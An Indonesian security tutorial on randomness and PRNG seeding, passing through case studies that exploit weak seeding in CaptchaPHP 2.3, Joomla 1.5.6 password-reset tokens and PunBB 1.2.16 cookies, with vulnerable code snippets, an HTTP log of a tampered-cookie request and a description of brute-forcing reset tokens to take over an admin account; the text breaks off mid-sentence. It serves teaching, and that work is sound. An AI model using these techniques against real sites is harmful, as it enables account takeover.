Dalam tulisan ini saya akan
membahas tentang random number, dan bagaimana attack terhadap random
number generator bisa sangat berbahaya. Selama ini kita sering mendengar
tentang random number tapi banyak yang belum paham betapa pentingnya
random number dalam keamanan informasi dan apa bahaya yang terjadi bila
random number yang dipilih tidak cukup random?
Randomness
Apakah yang dimaksud dengan random/acak ? Bagaimana kita mendefinisikan sesuatu bisa disebut acak atau bukan ?
Sebenarnya sulit menentukan apakah
sesuatu itu benar-benar random atau bukan. Tapi secara umum kita
menyebut sesuatu itu random bila kita tidak melihat adanya pola atau
keteraturan atau urutan (absence of pattern, absence of order), walaupun
absence of order juga tidak menjamin benar-benar random.
Suatu deretan angka tidak bisa dibilang random bila deretan angka itu
digenerate oleh suatu prosedur/algoritma tertentu yang deterministik,
artinya setiap kali prosedur tersebut dijalankan lagi, deretan angka
yang keluar akan selalu sama dengan yang sebelumnya.
Beberapa properti yang bisa dipakai untuk menilai randomness adalah:
- Even distribution
- Unpredictability
- Uniqueness
Even Distribution
Even distribution maksudnya adalah semua
hasil yang mungkin mempunyai peluang yang sama. Sebagai contoh kalau
kita melempar dadu, setiap sisi mempunyai peluang yang sama, tidak boleh
berat ke salah satu sisi saja. Dalam waktu yang cukup lama, data yang
digenerate secara random seharusnya akan mengcover hampir semua data set
secara merata (tidak berkelompok di salah satu bagian saja).
Kalau himpunan semua nilai yang mungkin
digambarkan sebagai pixel dalam monitor anda, number generator yang baik
akan secara merata mengisi semua pixel yang ada, tidak berkelompok di
satu area tertentu.
Tiga gambar di bawah ini memperlihatkan distribusi random number yang merata, mulai dari masih sedikit sampai makin banyak.
Semakin banyak bilangan yang digenerate, akan semakin merata bilangan itu menutupi area-area yang kosong.
Perbedaan antara password yang dibuat
oleh manusia dan random password generator terlihat dari distribusi
penggunaan karakternya. Password yang dibuat manusia distribusinya tidak
merata karena sangat dipengaruhi oleh bahasa yang dipakai. Bahasa
manusia jelas tidak random, sehingga password yang diturunkan dari
bahasa tersebut juga tidak mungkin random. Bila dalam bahasa inggris,
huruf yang paling sering dipakai adalah ‘e’, maka frekuensi huruf e
akan terlihat menonjol dibanding huruf lainnya.
Berbeda dengan password yang digenerate
oleh password generator, dari 26 huruf yang ada, semua huruf punya
peluang yang sama sehingga distribusinya merata. Tidak ada satu huruf
yanf lebih sering dipakai dibandingkan huruf yang lain.
Perbedaan ini menunjukkan bahwa password
yang dipilih manusia sangat jauh dari random. Hal ini terlihat dari
grafik distribusi karakter password yang dibuat oleh manusia. Terlihat
ada karakter-karakter yang terlihat menonjol karena sering dipakai, ada
juga karakter-karakter yang jarang atau tidak pernah dipakai dalam
password.
Password yang digenerate oleh password
generator memiliki distribusi karakter yang merata. Grafik di bawah
jelas menunjukkan bahwa semua karakter mempunyai peluang yang sama,
tidak ada karakter yang sangat sering, lebih sering, jarang dipakai atau
tidak pernah dipakai.
Unpredictability
Unpredictability maksudnya adalah
data-data yang sudah lebih dulu muncul tidak bisa dipakai untuk
memprediksi data apa yang akan muncul berikutnya karena setiap data
tidak ada hubungannya dan tidak tergantung dengan data yang lain
(independent).
Apa yang terjadi kalau random number yang akan muncul bisa diprediksi sebelumnya?
Mesin di kasino memiliki random number
generator di dalamnya untuk mengacak kartu, bila random number yang
muncul sudah bisa diprediksi sebelumnya, dia akan bisa selalu
memenangkan permainan. Dalam buku The Art of Intrusion,
ada satu bab yang menceritakan tentang kesuksesan 3 orang melakukan
hacking mesin kasino dengan cara memprediksi random number.
Quote berikut dengan singkat
menceritakan apa yang mereka lakukan, “Reverse engineering the operation
of the machine, learned precisely how the random numbers were turned
into cards on the screen, precisely when and how fast the RNG iterated,
all of the relevant idiosyncrasies of the machine, and developed a
program to take all of these variables into consideration so that once
we know the state of a particular machine at an exact instant in time,
we could predict with high accuracy the exact iteration of the RNG at
any time within the next few hours or even days”.
Dalam dunia security predictability bisa
berakibat fatal, misalnya memprediksi password yang digenerate oleh
password generator, memprediksi session id, memprediksi activation link
dan masih banyak lagi lainnya.
Uniqueness
Bila kita mengambil sederetan data acak
(misalkan 10 karakter acak), kecil peluangnya kita menemukan 10 karakter
acak tersebut berulang (repetition), semakin panjang deretan angka yang
kita ambil, semakin kecil peluangnya berulang. Karena random number
terdistribusi secara merata dan antara satu data dan lainnya tidak
saling berhubungan, maka kecil peluang kemunculan dua data yang
berulang.
Pseudo Random Number Generator (PRNG)
Komputer sebagai mesin yang
deterministik tidak mungkin bisa menghasilkan sesuatu yang
random. Deterministik disini maksudnya adalah suatu prosedur tertentu
diberi input yang sama, outputnya juga akan selalu sama. Output hanya
akan berbeda bila inputnya berbeda.
Komputer bekerja mengikuti
langkah-langkah yang sudah ditetapkan dalam algoritma program. Tidak
mungkin sebuah komputer bekerja dengan cara yang acak tanpa mengikuti
alur langkah-langkah algoritma.
Machines are deterministics, their operation is predictable and repeatable
Begitu juga random number yang
digenerate komputer juga adalah hasil dari komputasi algoritma tertentu
yang deterministik, oleh karena itu hasil random numbernya tidak
benar-benar random atau disebut dengan Pseudo Random.
Salah satu implementasi PRNG adalah
dengan menggunakan algoritma enkripsi simetris seperti AES-128 dalam
counter mode seperti gambar di atas.
Random number yang pertama muncul adalah
hasil enkripsi dengan kunci yang diambil dari suatu sumber yang cukup
random (sebagai seed), dan message yang dienkrip adalah angka 0. Random
number berikutnya adalah hasil enkripsi dengan kunci yang sama (seed),
namun message yang dienkrip adalah angka 1, berikutnya message yang
dienkrip adalah 2 dan seterusnya sehingga membentuk deretan angka yang
cukup random.
Kalau diperhatikan gambar implementasi PRNG di atas, jelas terlihat
bahwa bila orang lain mengetahui seednya, maka semua random number yang
akan muncul dan yang sudah muncul bisa diketahui dengan mudah.
Sekali lagi perlu diingat bahwa prosedur
PRNG adalah deterministik, jadi dengan seed yang sama dan algoritma
yang sama, maka deretan angka random yang muncul juga akan selalu sama.
Deretan angka random hanya akan berbeda bila seed yang diberikan
berbeda.
- Dengan seed x, maka yang muncul adalah x0,x1,x2…
- Dengan seed y, maka yang muncul adalah y0,y1,y2…
- Dengan seed z, maka yang muncul adalah z0,z1,z2…
Remember: Same seed, same sequence of numbers
Apa yang terjadi bila seed diketahui pihak luar? Bila orang lain
tahu seed yang diberikan pada suatu PRNG, maka dia bisa mengetahui semua
deret random number yang sudah muncul dan yang akan datang.
When the state of the random number generator is leaked all future random numbers are predictable – Steffan Esser
Oleh karena itu sangat penting untuk menggunakan seed dari sumber yang benar-benar random agar tidak terjadi kebocoran seed.
PRNG Period/Cycle
Kelemahan lain dari PRNG adalah adanya
periode/siklus perulangan, setelah PRNG men-generate sekian banyak
random number, dia akan kembali lagi mengulang deretan angka yang sama
seperti dari awal lagi.
Contohnya dengan seed x, maka deretan angka yang muncul adalah x0,x1,x2…(setelah sekian banyak random number)…x0,x1,x2…dan seterusnya
Source of Seed
Sebagai input untuk PRNG, seed haruslah
berasal dari sumber yang benar-benar random. Sumber yang dinilai random
adalah aktivitas fisik yang non-deterministic antara lain:
- Pergerakan mouse
- Penekanan tombol keyboard
- Thermal noise
- Radioactive activity
Sebenarnya sumber true random number sangat banyak di alam. Hampir semua
kejadian di alam bila kita perhatikan dengan seksama terjadi dengan
cara yang random, seperti gerakan awan, ombak di laut, pergerakan
atom/molekul dalam zat dan masih banyak lagi. Dengan sensor atau alat
observasi yang tepat kita bisa memanfaatkan banyak kejadian di alam
sebagai sumber true random number.
Beberapa operating system menyediakan
random pool yang siap pakai seperti /dev/random. /dev/random siap
memberikan random number kapanpun diminta yang berasal dari
environmental noise dalam CPU, jadi random numbernya bisa dibilang cukup
random karena berasal dari aktivitas fisik (non-deterministik).
Random Number as Seed to PRNG
Dibutuhkan effort lebih untuk mendapatkan bilangan random yang
non-deterministik dan berasal dari aktivitas fisik di luar komputer.
Sumber-sumber yang memberikan bilangan random yang non-deterministik
biasanya hanya bisa menyediakan random number dalam jumlah yang
terbatas, sedangkan PRNG bisa memberikan random number dalam jumlah yang
sangat banyak (tergantung sebanyak apa angka yang keluar sebelum
terjadi perulangan, repetition cycle).
Karena keterbatasan itu maka perlu dikombinasikan antara random number
non-deterministik dengan PRNG. Bila dibutuhkan random number dalam
jumlah banyak yang tidak bisa disediakan oleh random number
non-deterministik, maka kompromi yang bisa dilakukan adalah dengan
mengambil random number dari PRNG yang diberi seed dari random number
yang diambil dari sumber luar yang non-deterministik.
Dalam gambar implementasi PRNG di atas juga terlihat bahwa prosedur PRNG
memiliki input yang berasal dari “random pool” yang digambarkan sebagai
awan. Random pool ini berasal dari sumber-sumber yang non-deterministik
seperti pergerakan mouse, keyboard, thermal noise sampai aktivitas
radioaktif.
Random Number Role in Security
Random number memegang peranan critical dalam menjamin keamanan data.
Aplikasi random number dalam bidang security yang crucial antara lain:
- Generating password
- Generating session ID
- Generating activation/confirmation code
- Generating symmetric/asymmetric encryption key
- and many more…
Bila random number yang digunakan untuk
men-generate password atau encryption key lemah, seorang hacker bisa
mendapatkan password atau encryption key dengan melakukan komputasi di
komputernya kemudian dengan leluasa menguasai account, server atau
membuka data yang dilindungi dengan enkripsi.
Agar lebih terbayang bagaimana
pentingnya random number yang kuat dalam menjaga security, berikut ini
ada 4 studi kasus web application real world yang menggunakan weak
random number dan cara eksploitasinya.
Case Study #1: Predicting Captcha (CaptcaPHP 2.3)
Lab Download: CaptchaPhp 2.3 dan solusicapcay.php
Sebagai contoh kasus weak random number, kita akan melakukan breaking captcha pada CaptchaPHP versi 2.3 tanpa melakukan image processing sedikitpun, murni hanya dengan “predicting the captcha”. Kelemahan ini dilaporkan oleh Julio Vidal.
Captcha memberikan soal berupa gambar
berisi teks yang harus kita baca untuk membuktikan bahwa kita adalah
manusia, bukan software. Idenya sederhana, bila kita bisa membaca isi
teks dalam gambar, maka kita akan dipercaya sebagai manusia. Dalam
tulisan saya sebelumnya tentang menjebol captcha dengan OCR saya
memakai teknik optical character recognition yang mencoba membaca isi
teks dalam gambar dengan algoritma tertentu. Tergantung dari tingkat
kerumitan gambar, tingkat keberhasilan teknik OCR kecil, kecuali bila
gambarnya benar-benar jelas (tidak mengandung noise dan
gangguan-gangguan apapun).
Kali ini kita tidak memakai teknik
OCR, kita akan melakukan prediksi isi teks dalam gambar, tanpa
melibatkan image processing bahkan gambar captchanya tidak disentuh dan
tidak dilihat sama sekali. Tingkat akurasi prediksi ini sangat tinggi,
hampir 100% sukses. Bagaimana caranya kita bisa memprediksi captcha
dengan akurasi yang sangat tinggi?
Weak Seeding
Sebelumnya kita harus pahami bahwa
dengan mengetahui seed suatu pseudorandom number generator (PRNG), kita
bisa memprediksi semua random number yang akan di-generate oleh PRNG
tersebut.
Captcha selalu memberikan soal yang
berisi teks yang berbeda-beda setiap kali diminta. Teks yang ada pada
gambar captcha dipilih secara random dengan fungsi rand(). Dalam
captchaphp 2.3 ini PRNG terlebih dahulu diberi initial state, atau seed
dengan formula: ‘microtime() + time()/2 -21017′ seperti terlihat dalam
source code di bawah ini:
Sepintas source code di atas tidak
bermasalah, namun kalau diperhatikan pada pemanggilan fungsi srand(),
terlihat bahwa sumber entropi yang dipakai untuk seed sangat lemah,
yaitu waktu dalam detik dan mikrodetik. Seeding yang lemah ini menjadi
malasah besar karena seperti yang sudah kita bahas sebelumnya, bila seed
suatu PRNG bocor (diketahui orang lain), maka orang tersebut akan bisa
memprediksi semua random number yang akan di-generate.
Kenapa PRNG harus diberi seed dari sesuatu yang tidak diketahui pihak luar? Karena bila seednya sampai diketahui orang lain, maka orang tersebut akan bisa memprediksi semua random number yang akan digenerate.
Masalahnya adalah waktu bukanlah sesuatu
yang rahasia, waktu adalah sesuatu yang universal, hanya berbeda pada
zona waktu saja. Kalaupun ada perbedaan waktu dengan jam server, kita
bisa mengetahui waktu di server dari banyak cara, antara lain dengan
header ‘Last-Modified’ atau header ‘Date’ dari HTTP server.
Integer Truncation Seed
Kalau kita baca dokumentasi php dari
fungsi srand() dan microtime(), diketahui bahwa fungsi srand() ini
meminta input bertipe integer, sedangkan formula
‘microtime()+time()/2-21017′ menghasilkan floating point karena ada
operasi pembagian dan microtime() menghasilkan angka microsecond bertipe
floating point. Karena ada perbedaan tipe, yang diminta integer,
sedangkan yang diberikan adalah floating point, maka akan terjadi
integer truncation, semua angka dibelakang koma akan dipotong sehingga
hanya tersisa integernya saja.
Dalam contoh skrip kecil berikut
terlihat bahwa dengan adanya truncation dari floating point ke integer,
‘microtime()+time()/2-21017′ akan sama saja dengan ‘time()/2-21017′.
Jadi bisa dikatakan bahwa satu-satunya sumber entropi untuk seed adalah
time().
Oke, kini kita sudah tahu bahwa
satu-satunya sumber entropi untuk seeding adalah unix time dalam second.
Sekarang dari mana kita bisa mengetahui berapa unix time yang dipakai
dalam seeding untuk men-generate random text dalam captcha ?
Leaked time() SeedKunci untuk bisa melakukan prediksi random number dengan akurat adalah dengan mengetahui internal state (seed) dari PRNG.
Dalam kasus ini kita bisa mengetahui dengan pasti berapa unix time yang dipakai sebagai seed karena adanya parameter __ec_i. Apakah parameter __ec_i ini ? Perhatikan source html dari captcha berikut:
Dalam source htmlnya ada parameter __ec_i yang berfungsi sebagai
tracking ID dan secara internal dipakai untuk menentukan jawaban
captcha. Mari kita lihat bagaimana __ec_i ini digenerate:
Ternyata komponen kedua setelah ‘ec.’ adalah hasil dari fungsi
time(), yaitu unix time. Jadi kalau parameter __ec_i berisi
‘ec.1343036274.fea073dc38def100d18b21adf211d946′, maka unix time pada
saat __ec_i tersebut digenerate adalah 1343036274.
Perhatikan dalam source di atas, ketika
memanggil srand() kita memakai fungsi time(), kemudian 2 baris
dibawahnya kita men-generate parameter __ec_i yang juga memakai fungsi
time(). Meskipun ada perbedaan antara waktu pemanggilan time() yang
pertama (pada saat srand) dan yang kedua (pada saat generate __ec_i),
namun karena dua waktu ini adalah detik, maka dua kejadian ini sebagian
besar terjadi dalam detik yang sama, sangat jarang terjadi di detik yang
berbeda.
Jadi dalam kasus ini internal state
(seed) dari PRNG sudah bocor dari parameter __ec_i, dengan membaca
parameter __ec_i seseorang bisa mengetahui seed yang dipakai untuk
generate random teks dalam captcha.
Predicting The Captcha
Oke, sekarang kita sudah bisa tahu seed
yang dipakai untuk generate teks dalam captcha dari parameter __ec_i,
selanjutnya bagaimana cara prediksinya?
Perhatikan contoh prediksi pada gambar
di atas. Dari parameter __ec_i
‘ec.1343083228.f38f0267daff24ef5ace74d079b2a50c’ kita ketahui bahwa unix
time adalah 1343083228 dan timestamp ini digunakan sebagai seed untuk
generate random teks dalam captcha. Saya memodifikasi sedikit captchaphp
2.3 yang asli, agar menerima masukan berupa unix time dan memakainya
sebagai seed untuk men-generate random teks.
Terlihat bahwa random teks yang
digenerate oleh skrip hasil modifikasi yang dijalankan secara local sama
persis dengan isi teks dalam gambar captcha yang diberikan server. Ini
membuktikan dengan seed dan PRNG yang sama, random number yang
digenerate siapapun, kapanpun, dimanapun (di client maupun di server)
akan sama persis, artinya kita sudah sukses melakukan prediksi yang 100%
akurat. Tanpa menyentuh dan melihat gambar captchanya sama sekali,
hanya berbekal unix time kita bisa dengan akurat memprediksi isi teks
dalam gambar captcha.
Bila skrip itu dijalankan berulang-ulang
kali dengan seed yang sama, maka random teks yang dihasilkan juga akan
sama persis. Selama seednya sama, hasil random teksnya juga akan sama.
Modifying Script
Skrip prediksi dibuat dari script captchaphp 2.3 yang asli dengan beberapa modifikasi kecil berikut ini:
Pada modifikasi di atas, saat memanggil
srand(), kita tidak lagi memakai fungsi time(), tapi memakai argument
dari command line, argv[1].
Modifikasi terakhir adalah dengan
mengganti isi fungsi easy_captcha::form() dengan 1 baris saja seperti di
atas. Hanya itu saja modifikasi yang dilakukan untuk membuat script
prediksi, intinya hanya pada saat seeding kita memakai inputan user
bukan fungsi time(), selebihnya kita mengikuti prosedur yang sama (tidak
kita modifikari) dengan captchaphp 2.3 aslinya untuk men-generate teks
random dalam captcha.
Case Study #2: Predicting Password Reset Token (Joomla <= 1.5.6)
Lab Download: Joomla 1.5.6 dan Script attack Joomla 1.5.6
Metode otentikasi ketika melakukan reset
password umumnya adalah dengan mengirimkan suatu token berupa string
acak yang dikirimkan ke email user. Token ini kemudian harus dimasukkan
dalam form atau dalam bentuk parameter di URL, bila token yang
dimasukkan benar, maka server percaya bahwa dia adalah pemilik account
yang sah karena token ini hanya dikirim ke email yang hanya bisa dibuka
oleh pemilik account yang sah.
Sebagai contoh kasus kita akan memprediksi password reset token pada Joomla <= 1.5.6, vulnerability ini dilaporkan oleh Steffan Esser.
Pada Joomla <= 1.5.6, password reset token adalah MD5 hash dari
string acak sepanjang 8 karakter alphanumeric sehingga panjang token
adalah 32 karakter hex string (0-9 dan a-f).
Token untuk password reset memang harus
dibuat se-random mungkin dan sepanjang mungkin karena dengan token ini
seorang user bisa mereset passwordnya, jadi jangan sampai token ini
diketahui orang lain yang tidak berhak.
Mari kita lihat bagaimana password reset token digenerate secara random di Joomla <= 1.5.6 di bawah ini.
Token sepanjang 8 karakter string
digenerate dengan mt_rand() yang sebelumnya di-inisialisasi dengan seed
yang entropinya bersumber dari microsecond (1 / 1 juta detik). Mari kita
coba jalankan fungsi genRandomPassword ini dengan sedikit modifikasi
agar memakai seed yang berasal dari argument command line untuk melihat
cara kerjanya.
Dari percobaan di atas terlihat bahwa
dengan seed 3132, maka token yang digenerate adalah ’1GIsgoE9′.
Perhatikan bahwa walaupun dieksekusi berkali-kali, selama seed yang
dipakai adalah 3132, maka random token yang di-generate selalu
’1GIsgoE9′, tidak pernah dan tidak mungkin berbeda.
Jadi bisa dikatakan, random token yang di-generate tergantung dari seed yang dipakai
Number of Possible Token
Mari kita berhitung
berapa besar jumlah kemungkinan token yang ada untuk melihat seberapa
besar kemungkinan melakukan brute force token. Karena token adalah 8
karakter string yang setiap karakter terdiri dari 62 kemungkinan (A-Z,
a-z, 0-9), maka jumlah kemungkinan token adalah 62^8 atau
218.340.105.584.896 (218,34 triliun) kemungkinan token. Jumlah 218
triliun sangat besar, dibutuhkan waktu yang sangat lama untuk melakukan
brute force, mencoba semua kemungkinan token sebanyak 218 triliun kali.
Namun apa benar, ada 218 T kemungkinan token ?
Ingat, bahwa token yang di-generate
tergantung dari seed yang dipakai, artinya jumlah kemungkinan token sama
dengan jumlah kemungkinan seed. Bila hanya ada sejumlah 100 seed, maka
jumlah token yang di-generate hanya 100 walaupun kemungkinan
permutasinya ada 218 T.
mt_srand(10000000 * (double) microtime()); |
Perhatikan seed yang dipakai Joomla di
atas, mari kita hitung berapa banyak kemungkinan seed. Seed yang dipakai
bersumber dari microtime() dikalikan 10 juta. Karena microtime()
menghasilkan bilangan floating point antara 0 dan 1, kemudian hasilnya
dikalikan 10 juta, maka ada 10 juta kemungkinan seed. Benarkah demikian ?
Dari dokumentasi php, fungsi microtime()
menghasilkan microsecond, yaitu 1 / 1 juta detik, artinya output dari
fungsi microtime() ada sebanyak 1 juta kemungkinan bilangan floating
point antara 0 dan 1. Jadi walaupun microtime() ini dikalikan 10 juta,
tetap saja jumlah kemungkinan seed hanya sebanyak jumlah kemungkinan
microtime() yaitu hanya 1 juta.
Karena jumlah seed yang mungkin hanya 1
juta kemungkinan, maka jumlah token yang di-generate tidak mungkin bisa
lebih dari 1 juta, paling banyak hanya 1 juta token, bukan 218 triliun
token.
Disinilah masalahnya, bila hanya ada 1
juta kemungkinan token, maka akan mudah untuk dibrute force karena
mencoba sebanyak 1 juta token tidak butuh waktu lama, apalagi bila
dilakukan secara distributed. Memang bila harus mencoba 218 T
kemungkinan sangat lama waktu yang dibutuhkan, tapi bila hanya 1 juta
percobaan itu bisa dilakukan dengan cepat.
The Attack
Dengan kelemahan ini, seorang hacker
bisa menguasai akun Joomla administrator dengan cara reset password. Dia
akan melakukan reset password akun korban, karena tokennya dikirim ke
email si korban dan si hacker tidak bisa membaca email korban, si hacker
akan melakukan brute force sebanyak 1 juta token.
Sekarang kita akan membuat exploit untuk
melakukan brute force token. Output dari microtime() antara lain
0.000000,
0.000001, 0.000002, 0.000003…0.009203,0.009204,0.009205… s/d 0.999999 (1
juta kemungkinan). Seed yang dipakai adalah output dari microtime ini
dikalikan dengan 10 juta, sehingga nilai seed yang dipakai antara lain
0, 10, 20, 30…92030,92040,92050… s/d 9999990 (1 juta kemungkinan seed).
Pertama kita coba lakukan reset
password, kemudian nilai token kita brute force secara offline untuk
menguji apakah script brute force sudah benar. Dalam contoh ini token
yang dikirim ke email korban adalah ‘c7a7854f93affc4fe6d5e7b7b8c73352′.
Brute force secara offline hanya
membutuhkan waktu 1,2 detik saja, tentu saja brute force secara online
butuh waktu lebih lama, tapi masih dalam hitungan menit atau beberapa
jam saja.
Sekarang mari kita coba untuk melakukan
brute force online. Karena ada 1 juta token yang harus dicoba, maka akan
lebih cepat bila dilakukan secara bersamaan 100 thread yang
masing-masing mencoba 10 ribu token. Dalam contoh di bawah ini, kita
coba brute force token yang sama dengan yang kita coba sebelumnya secara
offline. Dalam contoh ini, kita coba range seed 150.000 s/d 160.000.
Sama seperti percobaan yang offline,
token yang valid ditemukan dengan seed 1523480 dalam waktu percobaan
adalah 4 menit dan 38 detik. Kalau dihitung-hitung setiap segmen dengan
range 10 ribu, dibutuhkan waktu sekitar setengah jam saja, worst casenya
paling lama 1 jam atau 2 jam mestinya sudah berhasil ditemukan token
yang valid.
Berikut ini adalah source code script untuk melakukan brute force token Joomla <= 1.5.6.
Pada kasus pertama “predicting captcha”,
kita bisa melakukan prediksi dengan akurat karena ada kebocoran seed
melalui parameter __ec_i. Dari parameter __ec_i kita bisa tahu dengan
tepat, berapa unix time yang dipakai sebagai seed sehingga kita bisa
prediksi random teks dalam captcha dengan akurat.
Dalam kasus yang kedua ini, tidak ada
kebocoran seed. Kita tidak tahu PRNGnya diinisialisasi dengan seed
berapa. Kita hanya tahu bahwa PRNGnya diberi seed dengan salah satu dari
1 juta kemungkinan seed sehingga kita bisa brute force seednya. Karena
kita hanya perlu brute force sebanyak 1juta, tanpa perlu brute force
sebanyak 218 T, maka peluang suksesnya sangat tinggi.
Case Study #3: Predicting Random Password and Activation Link (PunBB <= 1.2.16)
Lab Download: PunBB 1.2.16 dan Script attack PunBB
Pada kasus yang ketiga kita akan secara
blindly mendapatkan password baru dan activation link yang diberikan ke
email seorang user ketika dilakukan reset password terhadap akun user
tersebut. Vulnerability ini ada pada PunBB <= 1.2.16 dan dilaporkan
oleh Stefan Esser.
Ada tiga kelemahan pada aplikasi ini,
yang pertama adalah weak cookie_seed, yang kedua adalah weak seeding dan
ketiga adanya leaked seed.
Weak cookie_seed
Dalam config.php ada variabel
$cookie_seed yang dipakai sebagai salt untuk menyimpan password di
cookie dalam bentuk md5 hash. Cookie seed ini digenerate sekali pada
saat instalasi.
Setiap seorang user login, maka dia akan
diberikan cookie yang berisi 2 elemen, yaitu user_id dan md5 hash dari
cookie_seed dan sha1 dari password user tersebut, jadi elemen kedua
adalah adalah md5($cookie_seed.sha1(‘passworduser’)).
Sebagai contoh, seorang user rizki dengan password ‘rahasia’, ketika login berhasil mendapatkan punbb_cookie berisi:
a:2:{i:0;i:3;i:1;s:32:"c45c1016321797a2a11a362b7101aecd";} |
Dari cookie tersebut diketahui user_id adalah 3 dan yang terpenting adalah kondisi berikut:
md5($cookie_seed.sha1('rahasia')) = 'c45c1016321797a2a11a362b7101aecd' |
$cookie_seed digenerate dengan cara yang sangat sederhana:
substr(md5(time()), -8) |
$cookie_seed adalah 8 karakter dari
belakang md5 hash unix time pada saat instalasi, dengan kata lain,
kondisi sebelumnya bisa ditulis sebagai berikut:
md5(substr(md5(X), -8).sha1('rahasia')) = 'c45c1016321797a2a11a362b7101aecd' |
Karena dari kondisi di atas, semua
elemen sudah diketahui kecuali X yaitu unix time dalam detik ketika
instalasi, artinya kita bisa brute force untuk mencari berapa X.
Berapakah range brute force yang harus kita coba?
Dari menu daftar user (userlist.php)
kita bisa tahu registered date dari user admin untuk mendekati unix time
ketika instalasi. Karena yang kita ketahui hanya komponen tanggal saja
(jam 00, menit 00), maka untuk mencari ‘exact unix time’ kita tinggal
brute force jam dan menitnya saja. Range brute forcenya yang harus kita
coba adalah 24 jam ke depan (3600 detik x 24 jam) sejak registered date
user admin.
Berikut script untuk brute force cookie_seed bila diketahui registered date user admin adalah 25/07/2012.
Dalam waktu hanya 0.2 detik, kita sudah
berhasil menemukan cookie_seed yang ada dalam config.php. Mengetahui
nilai cookie_seed dalam config.php adalah langkah pertama, kita
lanjutkan dengan langkah kedua.
Weak Seeding
PunBB selalu memberikan cookie baru yang
berisi random password 8 karakter setiap kali menerima cookie login
yang tidak valid. Cookie ini formatnya sama dengan cookie punbb_cookie
biasa, pada elemen pertama berisi user_id 0, artinya guest, sedangkan
elemen kedua berisi md5($cookie_seed.$8chars_random_password).
PRNG yang dipakai untuk generate random password sebelumnya diinisalisasi dengan seed berikut dalam common.php:
// Seed the random number generator mt_srand((double)microtime()*1000000); |
Sama dengan case study sebelumnya,
dengan seed seperti ini artinya hanya ada 1 juta kemungkinan seed, dan
jumlah 1 juta adalah jumlah yang sangat brute forceable.
Random password digenerate dengan function random_pass berikut:
// // Generate a random password of length $len // function random_pass($len) { $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; $password = ''; for ($i = 0; $i < $len; ++$i) $password .= substr($chars, (mt_rand() % strlen($chars)), 1); return $password; } |
Karena random_pass digenerate secara
random, dan PRNGnya diberi seed dengan suatu nilai di antara 1 juta
kemungkinan, maka random password yang digenerate juga hanya ada 1 juta
kemungkinan. Hubungan antara seed dan random password adalah pemetaan 1
ke 1, artinya untuk setiap seed ada satu password unik yang digenerate
dan juga sebaliknya untuk suatu random password tertentu bisa diketahui
berapa seed yang dipakai PRNGnya.
Leaked Seed
Jadi bisa dikatakan bahwa kebocoran seed terjadi melalui cookie
berisi random password ini karena ada pemetaan 1 ke 1 antara random
password dan seed yang dipakai.
Exploitasi kebocoran seed ini dilakukan
dengan cara merequest reset password dengan membawa cookie yang elemen
keduanya sengaja dibikin invalid untuk memancing punBB memberikan cookie
baru berisi random password. Dari random password yang diberikan bisa
diketahui berapa seed yang dipakai pada saat reset password.
Berikut adalah log traffic http header
ketika request reset password dengan membawa cookie yang invalid. Pada
saat request saya memberikan cookie yang saya modifikasi satu karakter
terakhir elemen keduanya dari ‘….aecd’ menjadi ‘…aecc’ agar menjadi
invalid.
http://localhost:8888/punbb/login.php?action=forget_2 POST /punbb/login.php?action=forget_2 HTTP/1.1 Host: localhost:8888 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:14.0) Gecko/20100101 Firefox/14.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://localhost:8888/punbb/login.php?action=forget Cookie: punbb_cookie=a%3A2%3A%7Bi%3A0%3Bs%3A1%3A%223%22%3Bi%3A1%3Bs%3A32%3A%22c45c1016321797a2a11a362b7101aecc%22%3B%7D Content-Type: application/x-www-form-urlencoded Content-Length: 51 form_sent=1&req_email=rizki.wicaksono%40xynexis.com HTTP/1.1 200 OK Date: Thu, 26 Jul 2012 00:02:33 GMT Server: Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8r DAV/2 PHP/5.4.4 X-Powered-By: PHP/5.4.4 Set-Cookie: punbb_cookie=a%3A2%3A%7Bi%3A0%3Bi%3A0%3Bi%3A1%3Bs%3A32%3A%22cbc4ad58d7e2f5de8f8616d509c1aaa9%22%3B%7D; expires=Fri, 26-Jul-2013 00:02:33 GMT; path=/; httponly Expires: Thu, 21 Jul 1977 07:30:00 GMT Last-Modified: Thu, 26 Jul 2012 00:02:34 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Content-Length: 1936 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html |
Pada Set-Cookie response header kita mendapatkan cookie baru, punbb_cookie yang berisi:
a:2:{i:0;i:0;i:1;s:32:”cbc4ad58d7e2f5de8f8616d509c1aaa9″;}
Elemen kedua adalah md5 dari cookie_seed
digabung dengan random password 8 karakter. Karena cookie_seed sudah
kita dapatkan di langkah pertama dan ada pemetaan 1 ke 1 antara random
password ini dan seed, maka kita bisa mencari berapa seed yang dipakai
untuk men-generate random password tersebut.
Request reset password dengan membawa
cookie yang invalid ini selain memberikan cookie baru juga mengirimkan
email ke user yang meminta reset password, berisi new random password
dan activation link untuk mengaktifkan password baru tersebut. Berikut
adalah contoh email yang diterima korban.
Dalam email tersebut berisi new random
password dan URL activation link berisi random key. Karena dalam kasus
ini si hacker tidak bisa membaca email korban, maka dia harus
memprediksi password baru dan activation linknya.
Bagaimana caranya seorang hacker
mengetahui password baru dan activation link yang dikirim ke email
korban tanpa membaca sama sekali email korban?
Caranya adalah kita lanjutkan saja ke langkah kedua, yaitu mencari tahu berapa seed yang dipakai PRNGnya.
Dalam waktu 6 detik saja sudah kita
dapatkan seed yang dipakai PRNGnya. Dengan mengetahui seed yang dipakai
ketika server men-generate password baru dan activation link, kita juga
bisa men-generate secara local, password baru dan activation link yang
sama persis dengan yang di-generate di server.
Terbukti bahwa password baru dan
activation link hasil dari script di atas sama persis dengan yang
dikirim ke email korban, artinya dengan teknik ini hacker bisa tahu
password baru dan activation linknya tanpa membaca email korban, secara
blindly.
Berikut adalah script pendek untuk
melakukan brute force seed punBB. $target adalah md5 hash dari pun_bb
cookie yang diberikan ketika request dengan cookie yang invalid
sedangkan $cookie_seed sudah didapatkan di langkah pertama.
Perhatikan bahwa setelah seed diketahui,
script menjalankan random_pass(8) dua kali, yang pertama untuk
men-generate random password baru, yang kedua untuk men-generate
activation link key.
Jadi dalam kasus yang ketiga ini ada
